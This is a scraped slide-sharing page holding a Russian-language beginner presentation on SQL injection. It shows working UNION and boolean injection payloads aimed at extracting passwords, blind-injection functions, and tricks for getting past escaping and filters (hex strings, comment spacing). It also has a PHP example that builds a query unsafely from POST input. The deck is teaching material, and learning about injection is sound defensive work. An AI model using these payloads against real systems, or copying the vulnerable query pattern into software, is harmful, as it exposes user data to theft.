Что такое findslide.org?

FindSlide.org - это сайт презентаций, докладов, шаблонов в формате PowerPoint.


Для правообладателей

Обратная связь

Email: Нажмите что бы посмотреть 

Яндекс.Метрика

Презентация на тему SQLi for scrubz

Понятие таблиц и работа с нимиDatabase
SQLi for scrubz Понятие таблиц и работа с нимиDatabase СинтаксисКлючевые слова в запросеSELECT *column_name* FROM *table_name* WHERE *condition* SELECT * FROM Коты WHERE Хозяин = 1 AND Возраст < 5 "> Таблица: dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = '$text' AND id Таблица: dataСтолбцы: id, username, passЗапрос: SELECT username FROM data WHERE id = '$text' and Таблицы: data, private_dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = ФункцииLIKESELECT username FROM users WHERE pass LIKE '%qwe%'SELECT username FROM users WHERE pass LIKE '%qwe_'IFIF('pass' = MIDMID(*value*, *number of starting symbol*, *hom many symbols*)MID('value', 3, 2) = 'lu'MID('value', 1, GROUP BYSELECT * FROM users GROUP BY 1SELECT * FROM users GROUP BY 2 Экранирование символовЭкранирование символов  — замена в тексте управляющих символов на соответствующие текстовые подстановкиPayload:$text Фильтрация символов0x74657874 = textSELECT * FROM users WHERE pass = 'text'SELECT * FROM users Определение уязвимостиОбычный и слепой метод$name = $_POST['name'];$query = Слепой методСписок функций:    IF, MID, SLEEP, GROUP BY SELECT IF((SELECT username where id
Слайды презентации

Слайд 2 Понятие таблиц и работа с ними
Database

Понятие таблиц и работа с нимиDatabase

Слайд 3 Синтаксис
Ключевые слова в запросе
SELECT *column_name* FROM *table_name* WHERE *condition*

СинтаксисКлючевые слова в запросеSELECT *column_name* FROM *table_name* WHERE *condition*

Слайд 4 SELECT * FROM Коты WHERE Хозяин = "Саймон"


SELECT * FROM

Коты WHERE Возраст > 1 AND Возраст < 5 


Слайд 5 Таблица: data
Столбцы: id, username, pass
Запрос: SELECT * FROM

Таблица: dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id = '$text'

data WHERE id = '$text' AND id != 1
$text = ' or

id = 1 -- 

Простейшая уязвимость


Слайд 6 Таблица: data
Столбцы: id, username, pass
Запрос: SELECT username FROM data

Таблица: dataСтолбцы: id, username, passЗапрос: SELECT username FROM data WHERE id = '$text'

WHERE id = '$text' and id != 1 ;
$text =

1' UNION SELECT pass FROM data WHERE id = 1 -- 

How to UNION

$text = ' UNION SELECT pass FROM data WHERE id = 1 -- 


Слайд 7 Таблицы: data, private_data
Столбцы: id, username, pass
Запрос: SELECT *

Таблицы: data, private_dataСтолбцы: id, username, passЗапрос: SELECT * FROM data WHERE id

FROM data WHERE id = 1 and id = '$text'

;

$text = ' UNION SELECT *,1 FROM data WHERE id = 1238 -- 


Слайд 8 Функции
LIKE
SELECT username FROM users WHERE pass LIKE '%qwe%'
SELECT username FROM users WHERE

ФункцииLIKESELECT username FROM users WHERE pass LIKE '%qwe%'SELECT username FROM users WHERE pass LIKE '%qwe_'IFIF('pass'

pass LIKE '%qwe_'
IF
IF('pass' = 'pass', 1, 0)
IF((SELECT username FROM users

WHERE id = 1) = 'admin', 1, 0)

IF((SELECT username FROM users WHERE id = 1) LIKE 'qwer%', 1, 0)

'%' - неопределённое кол-во символов
'_' - один символ


Слайд 9 MID
MID(*value*, *number of starting symbol*, *hom many symbols*)
MID('value', 3,

MIDMID(*value*, *number of starting symbol*, *hom many symbols*)MID('value', 3, 2) = 'lu'MID('value',

2) = 'lu'
MID('value', 1, 1) = 'v'
CONCAT
CONCAT('lu', 'l') =

'lul'

SELECT id, CONCAT(username,' - ', pass) AS  user_data

CONCAT('str1','str2',…,'strN') = 'str1str2...'


Слайд 10 GROUP BY
SELECT * FROM users GROUP BY 1
SELECT

GROUP BYSELECT * FROM users GROUP BY 1SELECT * FROM users GROUP BY 2

* FROM users GROUP BY 2


Слайд 11 Экранирование символов
Экранирование символов  — замена в тексте управляющих символов

Экранирование символовЭкранирование символов  — замена в тексте управляющих символов на соответствующие текстовые

на соответствующие текстовые подстановки
Payload:
$text =  ' UNION SELECT * FROM

users; -- ​

$text = \'  UNION SELECT * FROM users; --  

\ => \\

$text = \\' UNION SELECT * FROM users; --


Слайд 12 Фильтрация символов
0x74657874 = text
SELECT * FROM users WHERE pass =

Фильтрация символов0x74657874 = textSELECT * FROM users WHERE pass = 'text'SELECT * FROM

'text'
SELECT * FROM users WHERE pass = text 
Ошибка при

выполнении запроса: «Unknown column 'text' in 'where clause'»

SELECT * FROM users WHERE pass = 0x74657874 

SELECT/**/*/**/FROM/**/users/**/WHERE/**/pass/**/=/**/0x74657874 

/* - начало блока комментариев
*/ - конец блока комментариев


Слайд 13 Определение уязвимости
Обычный и слепой метод
$name = $_POST['name'];

$query =

Определение уязвимостиОбычный и слепой метод$name = $_POST['name'];$query =

"SELECT phone_number FROM users WHERE name = '$name'";

$result =

mysql_query($query);

Real life example


  • Имя файла: sqli-for-scrubz.pptx
  • Количество просмотров: 111
  • Количество скачиваний: 0